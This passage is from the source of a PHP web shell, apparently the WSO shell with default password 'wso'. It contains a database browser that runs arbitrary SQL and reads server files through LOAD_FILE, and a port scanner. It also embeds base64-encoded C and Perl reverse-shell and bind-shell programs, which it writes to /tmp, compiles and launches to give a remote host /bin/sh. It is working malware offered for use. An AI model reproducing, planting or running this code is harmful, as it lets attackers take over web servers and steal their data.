1348 <input type=hidden name=p2>
1349 <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd']);?>'>
1350 <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
1351 <td>
1352 <select name='type'>
1353 <option value="mysql" <?php if(@$_POST['type']=='mysql')echo 'selected';?>>MySql</option>
1354 <option value="pgsql" <?php if(@$_POST['type']=='pgsql')echo 'selected';?>>PostgreSql</option>
1355 </select></td>
1356 <td><input type=text name=sql_host value='<?=(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']));?>'></td>
1357 <td><input type=text name=sql_login value='<?=(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']));?>'></td>
1358 <td><input type=text name=sql_pass value='<?=(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']));?>'></td>
1359 <td>
1360 <?php
1361 $tmp = "<input type=text name=sql_base value=''>";
1362 if(isset($_POST['sql_host'])){
1363 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1364 switch($_POST['charset']) {
1365 case "Windows-1251": $db->setCharset('cp1251'); break;
1366 case "UTF-8": $db->setCharset('utf8'); break;
1367 case "KOI8-R": $db->setCharset('koi8r'); break;
1368 case "KOI8-U": $db->setCharset('koi8u'); break;
1369 case "cp866": $db->setCharset('cp866'); break;
1370 }
1371 $db->listDbs();
1372 echo "<select name=sql_base><option value=''></option>";
1373 while($item = $db->fetch()) {
1374 list($key, $value) = each($item);
1375 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1376 }
1377 echo '</select>';
1378 }
1379 else echo $tmp;
1380 }else
1381 echo $tmp;
1382 ?></td>
1383 <td><input type=submit value=">>"></td>
1384 </tr>
1385 </table>
1386 <script>
1387 function st(t,l) {
1388 document.sf.p1.value = 'select';
1389 document.sf.p2.value = t;
1390 if(l!=null)document.sf.p3.value = l;
1391 document.sf.submit();
1392 }
1393 function is() {
1394 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1395 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1396 }
1397 </script>
1398 <?php
1399 if(isset($db) && $db->link){
1400 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1401 if(!empty($_POST['sql_base'])){
1402 $db->selectdb($_POST['sql_base']);
1403 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1404 $tbls_res = $db->listTables();
1405 while($item = $db->fetch($tbls_res)) {
1406 list($key, $value) = each($item);
1407 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1408 $value = htmlspecialchars($value);
1409 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1410 }
1411 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1412 if(@$_POST['p1'] == 'select') {
1413 $_POST['p1'] = 'query';
1414 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1415 $num = $db->fetch();
1416 $num = $num['n'];
1417 echo "<span>".$_POST['p2']."</span> ($num) ";
1418 for($i=0;$i<($num/30);$i++)
1419 if($i != (int)$_POST['p3'])
1420 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1421 else
1422 echo ($i+1)," ";
1423 if($_POST['type']=='pgsql')
1424 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1425 else
1426 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1427 echo "<br><br>";
1428 }
1429 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1430 $db->query(@$_POST['p3']);
1431 if($db->res !== false) {
1432 $title = false;
1433 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1434 $line = 1;
1435 while($item = $db->fetch()) {
1436 if(!$title) {
1437 echo '<tr>';
1438 foreach($item as $key => $value)
1439 echo '<th>'.$key.'</th>';
1440 reset($item);
1441 $title=true;
1442 echo '</tr><tr>';
1443 $line = 2;
1444 }
1445 echo '<tr class="l'.$line.'">';
1446 $line = $line==1?2:1;
1447 foreach($item as $key => $value) {
1448 if($value == null)
1449 echo '<td><i>null</i></td>';
1450 else
1451 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1452 }
1453 echo '</tr>';
1454 }
1455 echo '</table>';
1456 } else {
1457 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1458 }
1459 }
1460 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1461 echo "</td></tr>";
1462 }
1463 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1464 if(@$_POST['p1'] == 'loadfile') {
1465 $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
1466 $file = $db->fetch();
1467 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1468 }
1469 }
1470 echo '</div>';
1471 printFooter();
1472}
1473// Sql end -------------------------
1474// Network go --------------------
1475function actionNetwork() {
1476 printHeader();
1477 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
1478 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1479 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
1480 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1481 echo "<h1>Network tools</h1><div class=content>
1482 <form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>
1483 <span>Bind port to /bin/sh</span><br/>
1484 Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass' value='wso'> Using: <select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select> <input type=submit value='>>'>
1485 </form>
1486 <form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>
1487 <span>Back-connect to</span><br/>
1488 Server: <input type='text' name='server' value=". $_SERVER['REMOTE_ADDR'] ."> Port: <input type='text' name='port' value='31337'> Using: <select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select> <input type=submit value='>>'>
1489 </form><br>";
1490 if(isset($_POST['p1'])) {
1491 function cf($f,$t) {
1492 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1493 if($w) {
1494 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
1495 @fclose($w);
1496 }
1497 }
1498 if($_POST['p1'] == 'bpc') {
1499 cf("/tmp/bp.c",$bind_port_c);
1500 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
1501 @unlink("/tmp/bp.c");
1502 $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
1503 echo "<pre class=ml1>$out".ex("ps aux | grep bp")."</pre>";
1504 }
1505 if($_POST['p1'] == 'bpp') {
1506 cf("/tmp/bp.pl",$bind_port_p);
1507 $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
1508 echo "<pre class=ml1>$out".ex("ps aux | grep bp.pl")."</pre>";
1509 }
1510 if($_POST['p1'] == 'bcc') {
1511 cf("/tmp/bc.c",$back_connect_c);
1512 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
1513 @unlink("/tmp/bc.c");
1514 $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
1515 echo "<pre class=ml1>$out".ex("ps aux | grep bc")."</pre>";
1516 }
1517 if($_POST['p1'] == 'bcp') {
1518 cf("/tmp/bc.pl",$back_connect_p);
1519 $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
1520 echo "<pre class=ml1>$out".ex("ps aux | grep bc.pl")."</pre>";
1521 }
1522 }
1523 echo '</div>';
1524 printFooter();
1525}
1526// Network end --------------------
1527// Port Scanner go --------------------
1528function actionPortScanner() {
1529 printHeader();
1530 echo '<h1>Port Scanner</h1>';
1531 echo '<div class="content">';
1532 echo '<form action="" method="post">';
1533
1534 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
1535 $start = strip_tags($_POST['start']);
1536 $end = strip_tags($_POST['end']);
1537 $host = strip_tags($_POST['host']);
1538 for($i = $start; $i<=$end; $i++){
1539 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
1540 if($fp){
1541 echo 'Port '.$i.' is <font color=lime>open</font><br>';
1542 }
1543 flush();
1544 }
1545 } else {
1546 echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
1547 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
1548 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1549 Host: <input type="text" name="host" value="localhost"/><br /><br />
1550 Port start: <input type="text" name="start" value="0"/><br /><br />
1551 Port end:<input type="text" name="end" value="5000"/><br /><br />
1552 <input type="submit" value="Scan Ports" />
1553 </form></center><br /><br />';
1554 }
1555 echo '</div>';
1556 printFooter();
1557}
1558// Port Scanner end --------------------
1559if( empty($_POST['a']) )
1560 if(isset($default_action) && function_exists('action' . $default_action))
1561 $_POST['a'] = $default_action;
1562 else
1563 $_POST['a'] = 'FilesMan';
1564if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1565 call_user_func('action' . $_POST['a']);
1566?>